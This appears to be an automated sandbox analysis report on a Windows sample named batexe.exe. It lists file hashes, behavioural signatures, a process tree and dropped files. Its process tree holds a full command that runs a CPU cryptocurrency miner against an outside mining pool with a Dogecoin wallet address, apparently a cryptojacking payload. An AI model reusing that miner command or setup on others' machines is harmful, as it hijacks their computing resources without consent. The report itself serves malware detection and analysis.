Analysis

  • max time kernel
    295s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    14/02/2024, 11:50

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3428
    • C:\Users\Admin\AppData\Local\Temp\9F4D.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\9F4D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9F4D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5084
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A393.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1264
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4752

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\9F4D.tmp\b2e.exe

          Filesize

          16.1MB

          MD5

          e9d96c511ceb33baf9e6828443604b3a

          SHA1

          013a6a5040adf5283bd78dd1d2a106c536620791

          SHA256

          686ca37ada4aa580a616fe06edd393d6c53b6251026b360eb790c77dd8f18745

          SHA512

          c0530042cae81f0407e3178116121896675f60cb391744045843861367632588724686f444058dffc8fad402e3f385d189f1e48e4ea236ca14540e9d2e09ff83

        • C:\Users\Admin\AppData\Local\Temp\9F4D.tmp\b2e.exe

          Filesize

          3.0MB

          MD5

          f0117755307d2cb9e0117b5c613a879d

          SHA1

          8a95fb3fd534d70dbeb2a662fffd2a10e6667afb

          SHA256

          a776d308a443315290112812c5bcda39fd86620f31f2c76b3296170de49cc84a

          SHA512

          080cdab5b2579641d555999feaac096d39d55041a45700872bce0c836ddf2bba062682e11b8430ee4293fa31238132fe9ff74612da12d9b4c1b404f22aef9190

        • C:\Users\Admin\AppData\Local\Temp\9F4D.tmp\b2e.exe

          Filesize

          3.6MB

          MD5

          4e482f2accc0d89b63fac718249cb42a

          SHA1

          f855c23cfec6ce9106be766cb901a51b55ccf831

          SHA256

          c7d37489daa8a5d908a59b30505c44080955d63cec4dc73a78285c6aa56f00b7

          SHA512

          89416359a7eb6896feaa57750ed91f9157865f1779e58fad4165988df9cc307e0a8e90e6f9d3d02908f485a5489214795f72b569ea8ddda9d6c09a37bf986175

        • C:\Users\Admin\AppData\Local\Temp\A393.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          2.3MB

          MD5

          4c04147c386ba8792ac6a03069572a8a

          SHA1

          dda67789fc1d0f2469ca95f01a5c81034853ca6a

          SHA256

          c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

          SHA512

          a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          836KB

          MD5

          aeab40ed9a8e627ea7cefc1f5cf9bf7a

          SHA1

          5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

          SHA256

          218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

          SHA512

          c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          1.2MB

          MD5

          7cf672bee2afba2dcd0c031ff985958e

          SHA1

          6b82a205db080ffdcb4a4470fce85a14413f3217

          SHA256

          c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

          SHA512

          3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          3.8MB

          MD5

          0f2d7fc28a5c25a27a2227fd62e0cc5d

          SHA1

          9e6772e2f49f68ba96a07de5e519932e2d5cbfc1

          SHA256

          7b6facaf8cd2faf763ebbb2174cedce8e7829569dfaf81be442e68307e3860bc

          SHA512

          bd1b1276d3beb408b8e85bba2e6720956779ba0b421437365735e9d936912980f9c6066109673156172c2948503721b8f0a8317f589bee28373680d47d22b138

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          4.8MB

          MD5

          9b7005b0cd65f4de09b2b360f9c17ec5

          SHA1

          bf6e47256a84284f189fb4fde155ae10b18bd97d

          SHA256

          e2eee45e4abd2dc2f6a2c29b2012ce2e52f312dcc55056adef11d4678329fe2e

          SHA512

          9283de9512760a1bf98e90b18cf794d0e717b9b9d26739e7b80c77c93ad3dae30c58254c909ea45d0b483c4a41359efe3ece7d1407a81c43c582023cc45d705a

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          4.7MB

          MD5

          c4d2af15530154e7c20bed6c8810b030

          SHA1

          5edccb2a448389236c4231fb61641a866cb4559d

          SHA256

          75f77c2aa1cc82737d8d2ca581dc7420402dbd4e9dc9319db985d40512d93fb1

          SHA512

          82be75c7897f17f73042c3a319022764875934b64e9226d56e029de4642b4f96ef691d32daedc608aeb9816cbeb79d3c56ea63f8414e12f3af179194da5cd183

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          606KB

          MD5

          585efec1bc1d4d916a4402c9875dff75

          SHA1

          d209613666ccac9d0ddab29a3bc59aa00a0968fa

          SHA256

          2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

          SHA512

          b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

        • memory/3428-8-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB

        • memory/4752-46-0x000000005FC20000-0x000000005FCB8000-memory.dmp

          Filesize

          608KB

        • memory/4752-59-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-104-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-44-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/4752-43-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-47-0x0000000001030000-0x00000000028E5000-memory.dmp

          Filesize

          24.7MB

        • memory/4752-48-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-99-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-54-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-45-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/4752-64-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-69-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-74-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-79-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-84-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-89-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4752-94-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5084-53-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/5084-7-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB